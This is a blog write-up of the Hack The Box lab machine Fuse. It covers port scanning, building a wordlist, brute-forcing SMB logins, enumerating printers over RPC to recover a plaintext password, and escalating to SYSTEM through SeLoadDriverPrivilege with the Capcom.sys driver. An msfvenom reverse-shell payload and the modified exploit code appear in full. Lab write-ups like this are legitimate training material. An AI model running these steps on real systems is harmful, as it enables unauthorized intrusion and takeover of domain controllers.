18th September 2021
Hack The Box Fuse Write Up by T13nn3s

Hack The Box – Fuse –

Stay hungry. Stay foolish.

Steve Jobs

About Fuse

In this post, I’m writing a write-up for the machine Fuse from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Fuse is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag your points will be raised by 30.

This box is rated as ‘medium-hard’ box. For me, it was a huge challenge to get the exploit working on the privilege escalation part of this box.

After the initial port scan, I found a web service running on this box. I have checked this service and I landed on the free Print Logger service from PaperCut. Through the Print Logs, I have created a wordlist with usernames. With CeWL I have created a wordlist of potential passwords. With the use of Metasploit, I was able the brute-force the passwords and found 3 valid passwords for the users bnielson, tlavel, and bhult.

I used the account to connect to the RPC service with rpcclient and I need to change the password of this account. After changing the password with the ‘smbpasswd’ tool from Samba I was able to connect to the RPC service with rpcclient. Through enumerating the installed printers I found the password of the user svc-print in the description of the printer HP-MFT01. With this password, I was able to create a WinRM session to the box to grab the user flag.

The root part was the most difficult part of this box. The user account has SeLoadDriverPrivilege privilege. With this privilege, the account is able to load a brand new printer driver. FOn the website tralogic.com I found an explanation of how to abuse this privilege to gain privilege escalation to SYSTEM. First, I have compiled a C++ program to .exe-file to load a malicious driver into the system. From GitHub I downloaded an exploit to launch a reverse shell from the SYSTEM space to my attacker machine.

Machine Info

Hack The Box Fuse Machine Info
Hack The Box Fuse Machine IP and maker
Hack The Box Fuse Machine IP and maker


Port scan

As always I start the box with a port scan.

~$ nmap -sC -sV -oA ./nmap/fuse.txt

The results.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 01:18 EDT
Stats: 0:04:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.88% done; ETC: 01:22 (0:00:02 remaining)
Nmap scan report for
Host is up (0.048s latency).
Not shown: 988 filtered ports
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-22 05:35:09Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h36m25s, deviation: 4h02m31s, median: 16m23s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_  System time: 2020-06-21T22:37:30-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-22T05:37:28
|_  start_date: 2020-06-21T17:47:51

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 308.77 seconds

The results of the port scan showing that I’m dealing with a Windows Server 2016 Standard. According to the open ports, I assume that this server is the Domain Controller in the forest fabricorp.local. The oddity of the open ports is that this Domain Controller is also running a web service on the HTTP port 80. But, let’s not get confused and start the enumerating this box.

Enumeration Web Server

Before I can visit the web service I have to add the IP-address tot my hosts file and points it to the hostname fuse.fabricorp.local, otherwise I will receive a Webpage could not be loaded error message. After I have modified the host’s file I have visited the webpage http://fuse.fabricorp.local. I landed on the ‘Print Logs’ page of the FollowMe printing solution of PaperCut.

Hack The Box Fuse PaperCut webservice

According to the Copyright (1999 – 2012), I assume that this box is running an outdated software of PaperCut. From the ‘Print Logs’ page, there are some printer jobs from three different dates visible. The logs revealing four different usernames. I have noted them down in the usernames.txt file.



From this point I have created a wordlist with CeWL and tried to bruteforce the SMB, but the password I have created a wordlist from these URLs:

  • http://fuse.fabricorp.local/papercut/logs/html/index.htm
  • http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-05-29.htm
  • http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-05-30.htm
  • http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-06-10.htm

I created a wordlist with CeWL. Important to note is, that CeWL is not defaulting adding numbers to the wordlist. I know it sounds ridiculous, but you need to add the parameter –include-numbers, otherwise, you will not be able to brute-force the password. 

I have raised an issue on Github (#65) about the –include-numbers parameter, to add this parameter by default. The author had responded that this change cannot be made, because it will break any automated scripts.

I have invoked this command below for the creation of the wordlist.

~$ cewl http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-05-30.htm --with-numbers --write fuse_wordlist.txt

I have used the auxiliary/scanner/smb/smb_login module in Metasploit to brute-force the password.

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set rhosts
rhosts =>
msf5 auxiliary(scanner/smb/smb_login) > set user_file usernames.txt
user_file => usernames.txt
msf5 auxiliary(scanner/smb/smb_login) > set pass_file fuse_wordlist.txt
pass_file => fuse_wordlist.txt
msf5 auxiliary(scanner/smb/smb_login) > set smbdomain fabricorp.local
smbdomain => fabricorp.local
[*]      - - Starting SMB login bruteforce
[-]      - - Failed: 'fabricorp.local\bnielson:Print',
[-]      - - Failed: 'fabricorp.local\bnielson:2020',
[-]      - - Failed: 'fabricorp.local\bnielson:PaperCut',
[-]      - - Failed: 'fabricorp.local\bnielson:Logs',
[-]      - - Failed: 'fabricorp.local\bnielson:MFT01',
[-]      - - Failed: 'fabricorp.local\bnielson:PCL6',
[-]      - - Failed: 'fabricorp.local\bnielson:CSV',
[-]      - - Failed: 'fabricorp.local\bnielson:Excel',
[-]      - - Failed: 'fabricorp.local\bnielson:Logger',
[-]      - - Failed: 'fabricorp.local\bnielson:LETTER',
[-]      - - Failed: 'fabricorp.local\bnielson:NOT',
[-]      - - Failed: 'fabricorp.local\bnielson:DUPLEX',
[-]      - - Failed: 'fabricorp.local\bnielson:mountain',
[-]      - - Failed: 'fabricorp.local\bnielson:tape',
[-]      - - Failed: 'fabricorp.local\bnielson:request',
[+]      - - Success: 'fabricorp.local\bnielson:Fabricorp01'
[-]      - - Failed: 'fabricorp.local\tlavel:Print',
[-]      - - Failed: 'fabricorp.local\tlavel:2020',
[-]      - - Failed: 'fabricorp.local\tlavel:PaperCut',

After brute-forcing the passwords, I have found 3 working credentials. It seems that those accounts are using the same password.

msf5 auxiliary(scanner/smb/smb_login) > creds

host          origin        service        public    private      realm  private_type  JtR Format
----          ------        -------        ------    -------      -----  ------------  ----------  445/tcp (smb)  bnielson  Fabricorp01         Password  445/tcp (smb)  tlavel    Fabricorp01         Password  445/tcp (smb)  bhult     Fabricorp01         Password      

I have got now 3 valid user accounts with credentials, I have now entered the Intrusion phase in the Kill Chain.


Password change tlavel

I have the password of the user account tlavel. I know that this server is a Print Server. My next step will be to try to get access to RPC with the rpcclient. Through RPC I’m able to do some more enumeration on the installed printers. I’ve tried to access the RPC service with the user account tlavel.

~$ rpcclient -U "tlavel" -W fabricorp.local
Enter FABRICORP.LOCAL\tlavel's password: 
Cannot connect to server.  Error was NT_STATUS_PASSWORD_MUST_CHANGE

It seems that the password needs to be changed. Through the tool ‘smbpasswd’ I’m able to change the password from a user account on a remote computer. I have changed the password to ‘[email protected]’.

~$ smbpasswd -r -U tlavel
Old SMB password:                                                                             
New SMB password:
Retype new SMB password:
Password changed for user tlavel

Enumeration through RPC

With the new password, I was able to log in through the rpcclient. Now, I can start to do some further research on the user accounts, user groups and the installed printers. Let’s first check the user accounts.

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

I have now a complete list of all of the user accounts. The second step is to enumerate the Groups.

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

Through ‘querygroupmem’ I found that the group ‘IT_Accounts’ is a non-default group, when I check the members I see that the user account svc-print (rid: 0x450)and sthompson (rid:0x641) are members of this group.

rpcclient $> querygroupmem 0x644
        rid:[0x450] attr:[0x7]
        rid:[0x641] attr:[0x7]

So, I have now the users and groups. The interesting what I’ve learned here that I have to focus on the accounts ‘svc-print’ and/or the user account ‘sthompson’, because they are member of the ‘IT_Accounts’ Security Group.

The second part of the enumeration through RPC is to check the installed printers. I have invoked this command below and I found a password! Every SysAdmin knows that you do not write down passwords in plaintext.

rpcclient $> enumprinters 
        description:[\\\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: [email protected]$1)]

This password is being used for the scan2docs function on the HP printer. This Active Directory holds a user account ‘svc-scan’. I have first check if this password works for this account and its working. But, this account has no privileges to create a shell on this box. I have checked this password for the user ‘svc-print’ and this account has the same password! As this user is a member of the ‘IT_Accounts’ group, it has permissions to create a session through WinRM.

~$ evil-winrm -u svc-print -p '[email protected]$1' -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-print\Documents> ls
*Evil-WinRM* PS C:\Users\svc-print\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc-print\Desktop> cat user.txt

Through this account I was able to read the user flag. I can now start the last part of this box “Privilege Escalation”.

Privilege Escalation

The Privilege Escalation for Fuse was a tough one for me. I have to admit, that I’ve asked some help with this part from the Hack The Box community. In the end, it turns out that the box was not always stable to get the exploit working and that when I was trying to go too fast, that I will miss crucial information. However, let’s check how I’ve done and if you have any improvements, let me know!


There is also a user folder of the user account ‘sthompson’ listed in the C:\Users, which indicates that perhaps I have to jump to this account. But there is no need for because the svc-print user account has the same privileges as sthompson. I checked the privileges of svc-print. I noticed that this account holds the privileges SeLoadDriverPrivilege.

*Evil-WinRM* PS C:\> whoami /priv


Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\> 

Compile EoPLoadDriver.exe

I have searched online How I can use this privilege to gain privilege escalation and I found two articles on the internet, which I have used to abuse the SeLoadDriverPrivilege privilege to gain Administrator-access.

To compile the exploit, I have used Visual Studio Community 2019, version 16.3.7. I have created a new C++ project with the name EoPLoadDriver. After the creation of this project, I have added a file by right mouse clicking on Source Files –> Add –> Existing Item… and then I selected the downloaded eoploaddriver.cpp from this Github repository.

Hack The Box Fuse create the EoPLoadDriver exploit

I have removed the precompiled header #include "stdafx.h" from line 6. I have compiled the program to an exe-file and uploaded it to the box. I have also downloaded the CapCom.sys and uploaded this file to the box. You can find the download link below:

I have now uploaded the EoPLoadDriver.exe and the CapCom.sys to the box. With these two files, I can load the malicious driver. To get SYSTEM access, I need to have a reverse shell that can be executed by the exploit. Through msfvenom I’ve created the reverse shell payload.

~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell64.exe

I have also uploaded the shell.exe to the machine and then I’ve prepared Metasploit to get the reverse shell.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost                                                                                                                                                           
lhost =>                                                                                                                                                                                          
msf5 exploit(multi/handler) > set lport 4444                                                                                                                                                                 
lport => 4444                                                                                                                                                                                                
msf5 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp                                                                                                                                      
payload => windows/x64/shell/reverse_tcp
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on

Compile ExploitCapcom.exe

I have to compile another project the ExploitCapcom from Github. With that exploit, I can perform token stealing to get the SYSTEM privileges. I have opened this project in my Visual Studio 2019 Community Edition. In order to get this exploit to work, I have to make some minor modifications.

First, I have to upgrade this project to version v142. This done automatically by Visual Studio on the opening of the project. I have modified the CommandLine execution to the reverse shell payload.

    TCHAR CommandLine[] = TEXT("C:\\users\\svc-print\\documents\shell64.exe");
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        return false;

After the modification, I’ve compiled this program to the ExploitCapcom.exe and then I’ve uploaded this exploit to the box. In the end, I’ve got these files on the box:

  1. EoPLoadDriver.exe, to load the driver in the box.
  2. Capcom.sys, the driver to be loaded
  3. shell64.exe, reverse shell to my attacker machine
  4. ExploitCapcom.exe, the exploit which is doing token stealing escalating to SYSTEM privileges and calling the shell64.exe file.

Now I can start. First I load the driver.

*Evil-WinRM* PS C:\Users\svc-print\Documents> ./EoPLoadDriver.exe System\CurrentControlSet\SomeService C:\Users\svc-print\Documents\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0
*Evil-WinRM* PS C:\Users\svc-print\Documents>

The Capcom.sys driver is loaded, it’s time to start the exploit.

*Evil-WinRM* PS C:\Users\svc-print\Documents> ./ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 00000258A44F0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
*Evil-WinRM* PS C:\Users\svc-print\Documents>

Got a reverse shell! Now I can take the root flag.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 
[*] Sending stage (176195 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-30 22:27:11 -0400

meterpreter > shell
Process 576 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>type root.txt
type root.txt

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Happy Hacking!


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

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